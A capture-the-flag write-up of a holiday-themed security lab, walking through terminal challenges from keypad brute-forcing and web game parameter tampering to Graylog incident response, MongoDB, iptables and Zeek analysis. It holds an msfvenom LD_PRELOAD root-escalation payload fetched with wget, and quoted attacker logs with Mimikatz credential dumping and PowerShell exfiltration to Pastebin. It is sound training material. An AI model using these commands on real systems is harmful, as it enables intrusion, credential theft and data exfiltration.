3. You can probably tell by looking at the keypad which buttons are used.
Crack the keypad codee
Solution
Sure enough, if we inspect the keypad closely, we notice that some keys look different:
Figure 2: "How does it feel to be frozen?!"
Using the clues from Tangle, we determine that we're looking for a
4-digit prime number, composed of 1
, 3
, and 7
, with one number
repeated once.
The following Python snippet will generate all the options:
# We start with our keys warm_keys = ["1", "3", "7"] for option in itertools.product(warm_keys, repeat=4): # Remove anything where the most common element appears more than twice most_common, count = collections.Counter(option).most_common(1)[0] if count > 2: continue # Convert to int num = int("".join(option)) if is_prime(num): print(num)
There's only five options: 1373
, 1733
, 3137
, 3371
, 7331
. At
this point, astute observers might recognize 7331
as "leet"
backwards, and sure enough, that's the answer. If not, it's easy
enough to try the five possibilities.
For the truly l33t, however, we offer this snippet:
for num in $(tools/keypad_solution.py) do echo "Trying $num..." curl -XPOST "https://keypad.elfu.org/checkpass.php?i=$num&resourceId=" echo done
Holiday Hack Trail
In the long hallway of the dorm, this year's challenge features a great homage to the classic Oregon Trail video game.
Background
Figure 3: Welcome to the Trail!
I just LOVE this old game!
I found it on a 5 1/4" floppy in the attic.
You should give it a go!
If you get stuck at all, check out this year's talks.
One is about web application penetration testing.
Good luck, and don't get dysentery!
Reach the end by Christmas. …and don't get dysentery!
Web App Pen Testing: Web Apps: A Trailhead
Solution 0: Strategy Guide
The requirements to win the game are:
- Travel a distance of 8,000,
- Always have at least 2 runners,
- Always have at least 1 reindeer,
- Always have at least 1 person with health > 0,
- Arrive by December 25th.
If your goal is to complete the game "legitimately," we offer the following tips.
There are 4 characters traveling together who will need to be fed or will starve. Starving, or other conditions, will cause the characters to lose health. Characters can be suddenly healed of their affliction, or they can be treated with medicine.
On the trail you will usually move forward by a distance depending on how many reindeer you have and your pace:
Reindeer | Steady Distance | Strenuous (1.5x) | Grueling (2x) |
---|---|---|---|
1 | 17 - 32 | 26 - 48 | 35 - 64 |
2 | 26 - 48 | 39 - 72 | 52 - 96 |
3 | 30 - 56 | 45 - 84 | 61 - 112 |
4 | 32 - 60 | 49 - 90 | 65 - 120 |
5 | 33 - 62 | 50 - 93 | 67 - 124 |
6 | 34 - 63 | 51 - 95 | 68 - 126 |
7 | 34 - 63 | 52 - 95 | 69 - 127 |
8+ | 34 - 64 | 52 - 96 | 69 - 128 |
54+ | 35 - 64 | 52 - 96 | 70 - 129 |
Your characters will eat food according to the pace, with 2, 3, or 4 food eaten per (alive) character per day.
While you're on the trail, four types of events can happen. Your characters can be struck by an illness ("Low Blood Sugar," "No Holiday Cheer," or "Toothache"), or they can suddenly feel better or be filled with holiday cheer, which will remove the illness effects. Similar good and bad events can happen with your travel and supplies:
Bad Travel Event | Good Travel Event |
---|---|
Oh no! One of your sleigh's runners has broken. | You found a spare runner lying on the ground! |
Oh dear! One of your reindeer has vanished. | You managed to tame a wild reindeer! |
A grinch came in the night and stole X pieces of ammo. | You found an abandoned sleigh with X pieces of ammo inside! |
Oh my! Your team has slipped backwards X. | A strong, Christmas wind pushed your sleigh ahead an extra X! |
--- | You found X morsels of Christmas cookies lying around! #whatcouldgowrong |
Your was waylaid by a flock of (VERY lost) penguins! No forward progress is made. | A strong, Christmas wind pushed your sleigh ahead an extra X! |
Your team takes a day to admire the Aurora Borealis! No forward progress is made. | --- |
The travel events happen in isolation, i.e. over 100,000 samples we never observed two bad travel events occuring simultaneously, or two good travel events. One good and one bad travel event can occur at the same time, though.
Events dealing with your characters' health can occur multiple times on a turn (multiple good events, multiple bad events, or even a combination).
Based on these samples, we estimate the following probabilities of one such event occuring on a given turn:
Event type | Probability |
---|---|
Bad health event | 3% |
Bad travel event | 4.5% |
Good travel event | 6% |
Good health event | 20% |
Runners and Reindeer
The probability of finding runners or reindeer is twice as high than of losing them.
When you encounter a body of water, you can try to ford the river, hire a ferry for 100 money, or caulk and float across.
Fording Outcome | Probability |
---|---|
Lose nothing! | 9% |
Lose 1 Food | 46% |
Lose 1 Med | 45% |
Lose [1-9] Ammo | 82% total (9%/option) |
Ferry Outcome | Probability |
---|---|
Ferry fail! Lose nothing! | 4.6% |
Ferry fail! Lose 1 Ammo | 4.6% |
Safely across | 90% |
Caulk Outcome | Probability |
---|---|
Lose nothing! | 50% |
Lose 1 Reindeer | 20% |
Lose 2 Reindeer | 10% |
Lose [1-9] Food | 45% (5%/option) |
Lose [1-9] Meds | 45% (5%/option) |
Lose [1-50] Ammo | 50% (1%/option) |
Always Ford Rivers
While it's less likely to make it across completely unscathed, fording losses are very minimal, and you never risk any reindeer.
Finally, you have two more actions available. Hunting will return between 0 and 76 morsels of food, roughly with equal probability. When trading, you'll request a certain type of item. If you can find someone willing to trade with you, you'll be offered a random amount and type of another item.
Wanted | No Trade | Offered | Money | Food | Ammo | Meds | Runners | Reindeer |
---|---|---|---|---|---|---|---|---|
Money | 18% | 1 | 1 | 1 | 1 | 1 | 1 | |
Food | 30% | [20-40] | [7-10] | 1 | 1 | 1 | 1 | |
Ammo | 33% | [5-20] | [25-39], by 2's | [5-8] | 1 | 1 | 1 | |
Meds | 28% | [2-10] | [61-96], by 5's | [13-20] | [4-5] | 1 | 1 | |
Runners | 32% | 1 | [601-951], by 50's | [121-191], by 10's | [31-48], by 2's | [13-20] | 2 | |
Reindeer | 33% | 1 | [601-951], by 50's | [121-191], by 10's | [31-48], by 2's | [13-20] | 2 |
Solution 1 (Easy): Modifying query parameters
Chris's talk gives us a great overview of how to cheat in the game. When you first load the game, you're asked to choose a difficulty. Viewing the source code of that page reveals the following:
<!-- possibly vulnerable to URL param manipulation --> <li><b>Easy:</b> Start with 5000 money on 1 July</li><br> <!-- params moved to body of POST request --> <li><b>Medium:</b> Start with 3000 money on 1 August</li><br> <!-- add hash integrity to ensure there's NO cheating! --> <li><b>Hard:</b> Start with 1500 money on 1 September<br><br></li>
Starting a game on easy, we see a text bar with some parameters. As we play the game, these parameters change to reflect the current status. Playing with the numbers, we discover the following maximum values:
Parameter | Maximum |
---|---|
Pace | 3 |
Month | 12 |
Day | 28, 30, or 31 |
Reindeer | 255 |
Runners | 255 |
Distance | 32767 |
Food | 65535 |
Meds | 65535 |
Money | 65535 |
To win, we simply set the distance to be over 8,000, click the arrow next to the text bar, and then hit "Go":
Figure 4: Easy Solution
On easy, we see the following code hidden in the source code of the victory page:
I'm sorry, but our princess is in another North Pole.
Solution 2 (Medium): Modifying POST parameters
On medium, we can no longer modify the parameters quite as easily. However, Chris's video once again has a solution for us. We can use our browser's Developer Tools to modify the parameters, or use a proxy such as Burp or ZAP. Again, we simply set the distance to be over 8,000, and hit "Go":
Figure 5: Medium Solution
This time, we see:
Wow! What a great job! … But I think you can do even BETTER.
Solution 3 (Hard): Bypassing the Hash
On hard, things get serious. Each response carries a hash generated by the server, and if we modify any parameters, the hash will not match. There are a couple of ways around this:
- Armed with our strategy guide, stop cheating and win!
- If something bad happens, just reload the page and hope for a different result,
- Crack the hash,
- Bypass the hash.
Watching Chris's video, we see some interesting looking server-side code appear at one point, though some of it is truncated:
def hashStatus(status): if debuggin: print(f'{OV}--{inspect.currentframe().f_code.co_name) with status of try: hashvalue = status["Money"] + status["Distance"] + status["Day"] + status["Month hashvalue += status["Reindeer"] + status["Runners"] + status["Ammo"] + status["M return {"Success":True, "Hash":md5it(str(hashvalue)) exception Exception as ex: # catch exceptions print(f'{OE"*** Exception in hhctrail_funcs.py, {inspect.currentframe().f_code.c return {"Success":False, "Error":f"{inspect.currentframe().f_code.co_name}-Excep
As we play around with the parameters (using the same method as in the
medium difficulty), we also notice some interesting facts. The hash
doesn't include anyone's health, so to save time and money, stop
feeding them, and just reset their health once they inevitably
starve. Additionally, if we increase one value by a number, decreasing
another value by the same number causes our hash to stay the same. In
looking at the server-side code from the video, we see that a number
of parameters are added together. This could either be integer
addition, or string concatenation. We have a couple of clues that it's
integer addition. First, our maximum values align with maximal 8, 16,
and 32-bit integers. Additionally, we see the hash calculation as
md5it(str(hashvalue))
, which converts the hash value to a string
before hashing it.
By either playing around with numbers, or searching for some hashes
online, we quickly determine that the hash is simply the MD5 of the
sum of money + distance + day + month + food + reindeer + runners +
ammo + money
. We can now set these to arbitrary values, send the
correct hash, and view the hidden message on the victory page:
<!-- 1 - When I'm down, my F12 key consoles me 2 - Reminds me of the transition to the paperless naughty/nice list... 3 - Like a present stuck in the chimney! It got sent... 4 - We keep that next to the cookie jar 5 - My title is toy maker the combination is 12345 6 - Are we making hologram elf trading cards this year? 7 - If we are, we should have a few fonts to choose from 8 - The parents of spoiled kids go on the naughty list... 9 - Some toys have to be forced active 10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp! -->
We've won! But, this leaves us unsatisfied. By setting all the parameters to their maximal values (and exploiting a bug where arriving on Dec 26th means we arrived 364 days before Christmas), we get a score of 1,517,880. Seems like we can do better.
When the game conditions have been met, we get a URL for the victory screen, which includes a verification hash. This hash is different from the hash used on the hard difficulty, and we were not able to crack how this hash is generated.
Instead, we found some vulnerabilities in the trade function. We start
the game (even on hard), and request a trade. We are offering negative 8,000
distances in exchange for bajillions of reindeer,
e.g. itemQty=8675309&tradeFor=Reindeer&reqQty=-8000&itemRequested=Distance
. The trade function increases our distance by 8,000, gives us bajillions of reindeer, and redirects us to the victory screen with a valid verification hash:
Figure 6: High Score
In this way, we can bypass the hash entirely.
Nyanshell
Direct link: ?challenge=nyanshell
In the Speaker UNpreparedness room, in Herney Hall.
Background
nyancat, nyancat I love that nyancat! My shell's stuffed inside one Whatcha' think about that? Sadly now, the day's gone Things to do! Without one... I'll miss that nyancat Run commands, win, and done! Log in as the user alabaster_snowball with a password of Password2, and land in a Bash prompt. Target Credentials: username: alabaster_snowball password: Password2
Launch a Bash shell for alabaster_snowball.
My name's Alabaster Snowball and I could use a hand.
I'm trying to log into this terminal, but something's gone horribly wrong.
Every time I try to log in, I get accosted with … a hatted cat and a toaster pastry?
I thought my shell was Bash, not flying feline.
When I try to overwrite it with something else, I get permission errors.
Have you heard any chatter about immutable files? And what is `sudo -l` telling me?
User's Shells: On Linux, a user's shell is determined by the contents of /etc/passwd
Chatter?: sudo -l says I can run a command as root. What does it do?
Solution
The hint guides us towards /etc/passwd
:
elf:x:1000:1000::/home/elf:/bin/bash alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh
Alabaster says that he thought his shell was Bash, but it's /bin/nsh
instead. We don't have permission to modify /etc/passwd
to point to
the correct file, but if we look at the permissions on /bin/nsh
, we
see that anyone can write to it:
elf@term_nyanshell:~$ ls -l /bin/nsh -rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh
Trying to copy bash
to nsh
results in an error, though:
elf@term_nyanshell:~$ cp /bin/bash /bin/nsh cp: cannot create regular file '/bin/nsh': Operation not permitted
Turning to the second hint we see that we can run chattr
as root:
elf@term_nyanshell:~$ sudo -l Matching Defaults entries for elf on term_nyanshell: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User elf may run the following commands on term_nyanshell: (root) NOPASSWD: /usr/bin/chattr
This final hint (combined with the chattr
man page) makes it all clear: Have you heard any chatter about immutable files? First, we use our sudo
access to make /bin/nsh
no longer immutable, then we copy bash
over:
elf@term_nyanshell:~$ sudo chattr -i /bin/nsh elf@term_nyanshell:~$ cp /bin/bash /bin/nsh elf@term_nyanshell:~$ su - alabaster_snowball Password: Loading, please wait...... You did it! Congratulations! alabaster_snowball@term_nyanshell:~$
Graylog
Direct link: https://incident.elfu.org (Credentials: elfustudent/elfustudent)
In the Dormitory.
Background
Use Graylog to investigate the incident, and answer 10 questions.
Normally I'm jollier, but this Graylog has me a bit mystified.
Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.
Some Elf U computers were hacked, and I've been tasked with performing incident response.
Can you help me fill out the incident response report using our instance of Graylog?
It's probably helpful if you know a few things about Graylog.
Event IDs and Sysmon are important too. Have you spent time with those?
Don't worry - I'm sure you can figure this all out for me!
Click on the All messages Link to access the Graylog search interface!
Make sure you are searching in all messages!
The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.
Login with the username elfustudent
and password elfustudent
.
Graylog: Graylog Docs
Event IDs and Sysmon: Events and Sysmon
The second link has a list of SysMon events:
Event ID | Event Description |
---|---|
1 | Process creation |
2 | A process changed a file creation time |
3 | Network connection |
4 | Sysmon service state changed |
5 | Process terminated |
6 | Driver loaded |
7 | Image loaded |
8 | CreateRemoteThread |
9 | RawAccessRead |
10 | ProcessAccess |
11 | FileCreate |
12 | RegistryEvent (Object create and delete) |
13 | RegistryEvent (Value Set) |
14 | RegistryEvent (Key and Value Rename) |
15 | FileCreateStreamHash |
16 | Sysmon config state changed |
17 | Pipe created |
18 | Pipe connected |
19 | WmiEventFilter activity detected |
20 | WmiEventConsumer activity detected |
21 | WmiEventConsumerToFilter activity detected |
Solution
The first thing we do is adjust our time range to "Search in all messages." A frame on the lower right of the window will pop up with 10 questions for us.
As we answer the questions, we'll get some guidance on how else we could've solved it. We decided to stick with our original approach, to show different solutions.
- Q1: What is the full-path + filename of the first malicious file downloaded by Minty?
Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.
We start with what we know, and search for
firefox AND minty
. This returns a lot of results, but GrayLog allows us to work with individual fields by selecting them on the right. We see one fieldname which seems interesting,TargetFilename
, and select it, and then chooseGenerate chart
. We see 15 messages with that field, most of which are temporary files. One file is different though –C:\Users\minty\Downloads\cookie_recipe.exe
.Figure 7: TargetFilename chart
The file extension doesn't match what should be a document, so we submit this and are told it's correct:
We can find this searching for sysmon file creation event id 2 with a process named firefox.exe and not junk .temp files. We can use regular expressions to include or exclude patterns:
TargetFilename:/.+\.pdf/
- Q2: What was the ip:port the malicious file connected to first?
The malicious file downloaded and executed by Minty gave the attacker remote access to his machine.
Using the table of SysMon events, we search for:
EventID:3 AND cookie_recipe.exe
, and find a single event. Drilling down into the message, we see the destination IP and port:192.168.247.175:4444
. 4444 is often associated with Metasploit. The hostname associated with that machine isDEFANELF
.Figure 8: Definitely an elf?
After giving our successful answer, we're told:
We can pivot off the answer to our first question using the binary path as our ProcessImage.
- Q3: What was the first command executed by the attacker? (single word)
We know that the attacker was usingcookie_recipe.exe
to get remote access to the machine. Presumably, if they were executing a command, it would also be through this malware. We modify our previous search to look for event ID 1 (process creation) instead of network connections. If the malware is executing other commands, we'd expect it to be the parent process.With our new search, we toggle the checkboxes in the fields selector on the left, and we just show
CommandLine
, which is the command being run. Our events are sorted by time, from newest (on top) to oldest, so finding the earliest is easy:whoami
.Figure 9: Commands run by cookie_recipe.exe
Upon our successful completion of this question, we're told:
Since all commands (sysmon event id 1) by the attacker are initially running through the cookie_recipe.exe binary, we can set its full-path as our ParentProcessImage to find child processes it creates sorting on timestamp.
- Q4: What is the one-word service name the attacker used to escalate privileges?
Looking at the previous image, we see:sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe"
. Answeringwebexservice
reveals:Continuing on using the cookie_reciper.exe binary as our ParentProcessImage, we should see some more commands later on related to a service.
- Q5: What is the file-path + filename of the binary ran by the attacker to dump credentials?
When the attacker was creating the service, they were invokingcookie_recipe2.exe
. Updating our search to look forEventID:1 AND cookie_recipe2.exe
, and still showing theCommandLine
field, we see some additional commands.Figure 10: Commands run by cookie_recipe2.exe
We see the attacker download Mimikatz, a tool that can pull secrets out of memory and do other security experiments. They struggle for a bit, finally saving it as
C:\Cookie.exe
, then runningC:\Cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit
.After identifying
C:\Cookie.exe
, we're told:The attacker elevates privileges using the vulnerable webexservice to run a file called cookie_recipe2.exe. Let's use this binary path in our ParentProcessImage search.
- Q6: The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?
First, we change our search time window to absolute, after the attacker ran the mimikatz command (2019-11-19 05:45:14) to now (using the wand button as a shortcut).Since we're now interested in authentication events, we transition from looking at SysMon events, to looking at stock Windows logs. Using the reference in the hint, we focus in on event ID
4624
(An account was successfully logged on):At the bottom of the page are the events closest to the credential dump we observed previously. The very last line is a login for
alabaster
from theDEFANELF
machine we identified previously. Identifyingalabaster
results in:Windows Event Id 4624 is generated when a user network logon occurs successfully. We can also filter on the attacker's IP using SourceNetworkAddress.
- Q7: What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?
Here, we're asked to look for a specific type of successful authentication. Reading the documentation in the hint on event 4624, we see that a logon type of 10 is for remote desktop. By tweaking our previous search to includeAND LogonType:10
, we see a single event. A login for Alabaster on ELFU-RES-WKS2 from 192.168.247.175 at06:04:28
. The tutorial reminds us:LogonType 10 is used for successful network connections using the RDP client.
- Q8: The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?
Once more, we read the 4624 documentation. Logon type 3 is described as "Network (i.e. connection to shared folder on this computer from elsewhere on network)," which certainly seems to be what's being described here. We modify our previous search, to look for type 3 instead of 10. There are a few results, but we're also told that the source should be the second host (ELFU-RES-WKS2). Our search ends up being:EventID:4624 AND LogonType:3 AND SourceHostName:ELFU\-RES\-WKS2
, which gives us what we need:ELFU-RES-WKS2,elfu-res-wks3,3
. Once solved, we get the explanation:The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to access the file system of of workstation 3 using explorer.exe via UNC file paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id 4624 and logon type 3.
- Q9: What is the full-path + filename of the secret research document after being transferred from the third host to the second host?
If the file is being transferred to the second host (elfu-res-wks2
), we would expect to see a SysMon file modification event (id:2). Sure enough, if we modify our search to beEventID:2 AND source:elfu\-res\-wks2
, we see a number of files being created. The top few are temporary files, but one file has a more interesting name:C:\Users\alabaster\Desktop\super_secret_elfu_resarch.pdf
.The process which created the file is Windows Explorer, which would line up with the attacker navigating the file system.
The tutorial takes a regex-based approach:
We can look for sysmon file creation event id of 2 with a source of workstation 2. We can also use regex to filter out overly common file paths using something like:
AND NOT TargetFilename:/.+AppData.+/
- Q10: What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?
To determine what happens with the file, we start by searching forsuper_secret_elfu_research.pdf
. We get two hits: one message from the previous file transfer, and one in an invocation of PowerShell:Invoke-WebRequest -Uri https://pastebin.com/post.php -Method POST -Body @{ "submit_hidden" = "submit_hidden"; "paste_code" = $([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf"))); "paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0"; "paste_name"="cookie recipe" }
The file was exfiltrated to Pastebin! To get the IP address, we search for
pastebin.com
, and we get another message: the SysMon event for the network connection:After identifying the IP address
104.22.3.84
, we're told:Incident Response Report #7830984301576234 Submitted.
Incident Fully Detected!
Mongo Pilfer
Direct link: ?challenge=mongo
In the NetWars room, in Hermey Hall.
Background
Hello dear player! Won't you please come help me get my wish! I'm searching teacher's database, but all I find are fish! Do all his boating trips effect some database dilution? It should not be this hard for me to find the quiz solution! Find the solution hidden in the MongoDB on this system.
Find the solution to a quiz hidden on the MongoDB instance.
Hey! It's me, Holly Evergreen! My teacher has been locked out of the quiz database and can't remember the right solution.
Without access to the answer, none of our quizzes will get graded.
Can we help get back in to find that solution?
I tried lsof -i
, but that tool doesn't seem to be installed.
I think there's a tool like ps
that'll help too. What are the flags I need?
Either way, you'll need to know a teensy bit of Mongo once you're in.
Pretty please find us the solution to the quiz!
MongoDB: MongoDB Documentation
Solution
If we just run the mongo client, we get:
elf@term_mongo:~$ mongo MongoDB shell version v3.6.3 connecting to: mongodb://127.0.0.1:27017 2020-01-04T01:25:21.256+0000 W NETWORK [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused 2020-01-04T01:25:21.256+0000 E QUERY [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed : connect@src/mongo/shell/mongo.js:251:13 @(connect):1:6 exception: connect failed Hmm... what if Mongo isn't running on the default port?
So, our first task is to find what port the server is running on. We have a couple hints about some commands we can run.
We start by figuring out what lsof -i
would have done, if lsof
were available. From the lsof man page:
-i [i]
selects the listing of files any of whose Internet address matches the
address specified in i. If no address is specified, this option
selects the listing of all Internet and x.25 (HP-UX) network files.
lsof
would have helped us find the right port number, but as it's not available, we're guided towards ps
instead.
elf@term_mongo:~$ ps ax PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash 9 ? Sl 0:01 /usr/bin/mongod --quiet --fork --port 12121 --bind_ip 127.0.0.1 --logpath=/tmp/mongo.log 57 pts/0 R+ 0:00 ps ax
The Mongo documentation from the hint tells us how to connect to a non-default port:
elf@term_mongo:~$ mongo --port=12121 MongoDB shell version v3.6.3 connecting to: mongodb://127.0.0.1:12121/ MongoDB server version: 3.6.3 Welcome to the MongoDB shell. >
The documentation link in the hint sends us to list databases, so we'll try that first:
> db.adminCommand( { listDatabases: 1 } ) { "databases" : [ { "name" : "admin", "sizeOnDisk" : 32768, "empty" : false }, { "name" : "elfu", "sizeOnDisk" : 294912, "empty" : false }, { "name" : "local", "sizeOnDisk" : 65536, "empty" : false }, { "name" : "test", "sizeOnDisk" : 32768, "empty" : false } ], "totalSize" : 425984, "ok" : 1 }
If it's a solution to a quiz we're after, elfu
sounds like a good
place to start. Perusing the documentation some more, we switch to
that database, then list the contents ("collections"):
> use elfu switched to db elfu > db.getCollectionNames() [ "bait", "chum", "line", "metadata", "solution", "system.js", "tackle", "tincan" ]
These must be the fishing-related terms that were referenced when first connecting to the system. Our goal is the solution, so we'll find that:
> db.loadServerScripts() > displaySolution() . __/ __ / /.'o'. .o.'. .'.'o'. o'.o.'.*. .'.o.'.'.*. .o.'.o.'.o.'. [_____] ___/ Congratulations!!
Escalating to Root
If we check sudo -l
, we see an interesting entry:
(root) SETENV: NOPASSWD: /usr/bin/python /updater.py
This is noteworthy because we're allowed to configure the environment (SETENV
). One environment variable we can set is LD_PRELOAD
, which is:
A list of additional, user-specified, ELF shared objects to be loaded before all others.
We can use msfvenom
, a tool that comes with Metasploit to create a shared object that will run an arbitrary command:
msfvenom -p linux/x64/exec CMD="echo 'elf ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -f elf-so -o sudo.so
Now we just download this, and run our command with LD_PRELOAD
set to our malicious file:
elf@term_mongo:~$ wget https://example.net/sudo.so elf@term_mongo:~$ sudo LD_PRELOAD=/home/elf/sudo.so -E /usr/bin/python /updater.py
At this point, it looks like our command has failed. However we should now be able to run any command without a password:
elf@term_mongo:~$ sudo su - root@term_mongo:~# id uid=0(root) gid=0(root) groups=0(root)
Smart Braces
Direct link: ?challenge=iptables
In the Student Union.
Background
Inner Voice: Kent. Kent. Wake up, Kent. Inner Voice: I'm talking to you, Kent. Kent TinselTooth: Who said that? I must be going insane. Kent TinselTooth: Am I? Inner Voice: That remains to be seen, Kent. But we are having a conversation. Inner Voice: This is Santa, Kent, and you've been a very naughty boy. Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster? Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation. Kent TinselTooth: Oh, sure. Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device. Kent TinselTooth: How did you know that? Inner Voice: I'm Santa - I know everything. Kent TinselTooth: Oh. Kringle. *sigh* Inner Voice: That's right, Kent. Where is the sleigh device now? Kent TinselTooth: I can't tell you. Inner Voice: How would you like to intern for the rest of time? Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified. Inner Voice: Very good Kent, that's all I needed to know. Kent TinselTooth: I thought you knew everything? Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more. *Inner Voice Goes Silent* Kent TinselTooth: Oh no, I sure hope that voice was Santa's. Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces. Kent TinselTooth: I must have forgotten to configure the firewall... Kent TinselTooth: Please review /home/elfuuser/IOTteethBraces.md and help me configure the firewall. Kent TinselTooth: Please hurry; having this ribbon cable on my teeth is uncomfortable.
Configure the iptables firewall.
Do you think you could take a look at my Smart Braces terminal?
I'll bet you can keep other students out of my head, so to speak.
It might just take a bit of Iptables work.
Iptables: Iptables
Solution
cat IOTteethBraces.md sudo iptables -P INPUT DROP sudo iptables -P FORWARD DROP sudo iptables -P OUTPUT DROP sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A INPUT -i lo -j ACCEPT sudo iptables -L
We're told to review IOTteethBraces.md
:
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains. 2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains. 3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22). 4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80. 5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80. 6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
For the first requirement, we can use an example from IOTteethBraces.md
:
elfuuser@term_iptables:~$ sudo iptables -P INPUT DROP elfuuser@term_iptables:~$ sudo iptables -P FORWARD DROP elfuuser@term_iptables:~$ sudo iptables -P OUTPUT DROP
Like with most Linux tools, we get no output if the command succeeded. We can test the current configuration with a line from the uploud.com hint:
elfuuser@term_iptables:~$ sudo iptables -L Chain INPUT (policy DROP) target prot opt source destination Chain FORWARD (policy DROP) target prot opt source destination Chain OUTPUT (policy DROP) target prot opt source destination
Requirement two is also a one-liner from the hint:
elfuuser@term_iptables:~$ sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT elfuuser@term_iptables:~$ sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
For the next one, we modify a command from the Markdown file:
elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT
To allow any connections to ports 21 and 80, we use a command from the hint:
elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
We can slightly tweak the command above to accept HTTP output traffic:
elfuuser@term_iptables:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
Finally, we'll accept our own traffic. This one wasn't in any hint, but we're familiar enough by now that we can find the correct invocation:
elfuuser@term_iptables:~$ sudo iptables -A INPUT -i lo -j ACCEPT
Our final configuration looks like this:
elfuuser@term_iptables:~$ sudo iptables -L Chain INPUT (policy DROP) target prot opt source destination ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED ACCEPT tcp -- 172.19.0.225 anywhere tcp dpt:22 ACCEPT tcp -- anywhere anywhere tcp dpt:21 ACCEPT tcp -- anywhere anywhere tcp dpt:80 ACCEPT all -- anywhere anywhere Chain FORWARD (policy DROP) target prot opt source destination Chain OUTPUT (policy DROP) target prot opt source destination ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED ACCEPT tcp -- anywhere anywhere tcp dpt:80
And sure enough, Kent verifies it and congratulates us:
Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!
Zeek JSON Analysis
Direct link: ?challenge=jq
In the Sleigh Workshop
Background
Some JSON files can get quite busy. There's lots to see and do. Does C&C lurk in our data? JQ's the tool for you! -Wunorse Openslae Identify the destination IP address with the longest connection duration using the supplied Zeek logfile. Run runtoanswer to submit your answer.
Find the destination IP address with the longest connection duration.
Wunorse Openslae here, just looking at some Zeek logs.
I'm pretty sure one of these connections is a malicious C2 channel…
Do you think you could take a look?
I hear a lot of C2 channels have very long connection times.
Please use jq
to find the longest connection in this data set.
We have to kick out any and all grinchy activity!
Solution
The hint is kind enough to provide us with exactly the one-liner we need:
elf@term_jq:~$ cat conn.log | jq -s 'sort_by(.duration) | reverse | .[0]' { "ts": "2019-04-18T21:27:45.402479Z", "uid": "CmYAZn10sInxVD5WWd", "id.orig_h": "192.168.52.132", "id.orig_p": 8, "id.resp_h": "13.107.21.200", "id.resp_p": 0, "proto": "icmp", "duration": 1019365.337758, "orig_bytes": 30781920, "resp_bytes": 30382240, "conn_state": "OTH", "missed_bytes": 0, "orig_pkts": 961935, "orig_ip_bytes": 57716100, "resp_pkts": 949445, "resp_ip_bytes": 56966700 } elf@term_jq:~$ runtoanswer Loading, please wait...... What is the destination IP address with the longes connection duration? 13.107.21.200 Thank you for your analysis, you are spot-on. I would have been working on that until the early dawn. Now that you know the features of jq, You'll be able to answer other challenges too. -Wunorse Openslae Congratulations!
Objectives
0. Talk to Santa in the Quad
Enter the campus quad and talk to Santa.
Solution
Figure 14: Santa, with an umbrella
1. Find the Turtle Doves
Find the missing turtle doves.
Solution
Entering the Student Union, and clicking on Michael and Jane complete this objective.
Figure 15: Warm by the fire…
2. Unredact Threatening Document ๐
Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter?
Please find the letter in the Quad.
Solution
Inspecting the Quad, we find the letter next to a tree:
Figure 16: "Sorry about the wall, sir." "And the tree across the quad."
Unfortunately, the subject line is redacted! However, they didn't do a very good job. A simple copy-paste is enough to recover the text.
Figure 17: "In high school they pushed me in a mailbox, did I tell you that?"
